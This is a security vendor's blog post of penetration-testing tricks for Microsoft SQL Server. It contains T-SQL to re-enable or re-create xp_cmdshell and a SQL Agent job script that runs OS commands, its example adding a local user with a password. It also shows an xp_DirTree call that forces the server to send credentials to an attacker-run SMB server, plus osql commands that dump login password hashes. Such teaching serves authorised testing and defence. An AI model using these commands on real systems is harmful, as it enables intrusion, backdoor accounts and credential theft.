Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
Get access to immediate incident response assistance.
Get access to immediate incident response assistance.
Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More
Since 2003 a large part of my workday has been devoted solely to hacking systems. Over this time I've collected tons of tricks and tips that are useful for penetration testing, and plan to write a number of posts to share them. Keep watching SpiderLabs blog! :)
This is the first post in the "Wendel's Small Hacking Tricks" series and is devoted to Microsoft SQL Server Hacking.
*** How to execute OS commands when xp_cmdshell was removed AND necessary DLLs deleted ***
You will find tons of references about how to re-enablexp_cmdshell stored procedure if it was disabled. The recent versions of Microsoft SQL Server comes with xp_cmdshell stored procedure disabled by default, and all that you need to do to re-enable is execute the following commands with an administrative account.
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
But what if xp_cmdshell was removed?
You will need to re-create it usingsp_addextendedproc and the associated DLL. For Microsoft SQL Server 2000 you will need to execute one the following queries:
EXEC sp_addextendedproc 'xp_cmdshell','xplog70.dll'
OR
EXEC sp_addextendedproc xp_cmdshell,'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'
However, if the associated DLL file was deleted you need to find another way. This trick may save you hours of research :)
There are different ways, but I like to use Agent Job feature. I suggest installing sqsh (Linux), or another robust MSSQL client, to execute the following query:
DECLARE @jobID uniqueidentifier, @cmdvarchar(1000)
SET @cmd = 'net user SpiderLabs TW-SPL5562/ADD'
EXEC msdb.dbo.sp_add_job @job_name ='_tmp_MakeDirectory', @enabled = 1,@start_step_id = 1, @owner_login_name='sa', @job_id = @jobID OUTPUT
EXEC msdb.dbo.sp_add_jobstep @job_id = @jobID,@step_name = 'Create Backup Folder', @step_id = 1, @subsystem = 'CMDEXEC',@command = @cmd
EXEC msdb.dbo.sp_add_jobserver @job_id = @jobID
EXEC msdb.dbo.sp_start_job @job_id = @jobID,@output_flag = 0
WAITFOR DELAY '000:00:05'
IF EXISTS (SELECT name FROM msdb.dbo.sysjobsWHERE name = '_tmp_MakeDirectory')
BEGIN
EXECmsdb.dbo.sp_delete_job @job_name = '_tmp_MakeDirectory'
END
go
OK, this code is not simple as callxp_cmdshell, but it will do the same (execute OS commands). Just replace the line "SET @cmd = 'net user SpiderLabs TW-SPL5562 /ADD'" with the command that you want to execute. The example code once executed will create a local user called SpiderLabs and password TW-SPL5562.
*** How to escalate privileges on MSSQL via stored procedure + UNC ***
Basically we will setup a rogue SMB authentication server to steal credentials and force the Microsoft SQL Server database to connect to us and leak their credential. You may want to use SMB Relay attack instead, it's up to you.
1) Start Responder Tool(https://github.com/SpiderLabs/Responder) from my friend Laurent Gaffie or whatever you want.
2) Execute the following stored procedure:
EXEC Master.dbo.xp_DirTree"\\YourIP\x",1,1;
You just need to replace "YourIP"with the IP address of the system (attacker machine) running Responder tool.
At this point a SMB connection from Microsoft SQL Server was sent to your IP address (attacker controlled machine).
You may try downgrade attacks to use HALFLM rainbow tables or SMB relay attack to obtain access to another system with this credential.
There are tons of other stored procedures that leak Microsoft SQL Server credential via SMB, but it's your homework. :)
*** How to dump local MS-SQL server hashes from a Windows system if you don't have access to this database ***
First of all you need to have administrative access on the Windows system.
From the cmd.exe just type the following command for MSSQL 2000:
osql -E -Q "SELECT name,password frommaster.dbo.sysxlogins"
From the cmd.exe just type the following commandfor MSSQL 2005:
osql -E -Q "SELECT name,password_hash FROMsys.sql_logins"
The tool "osql" is installed with Microsoft SQL Server and the option "-E" will try to authenticate on the database with your current Windows login account.
You are able to execute any command that you want, just to illustrate we dumped the Microsoft SQL Server password hashes.
Microsoft recommends Windows Authentication and consequently this trick will work often. In other words, own the Operating System and obtain win the database as a bonus. :)
I hope you have enjoyed.
Stay tuned for more Wendel's Small Hacking Tricks.
Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.
Copyright © 2024 Trustwave Holdings, Inc. All rights reserved.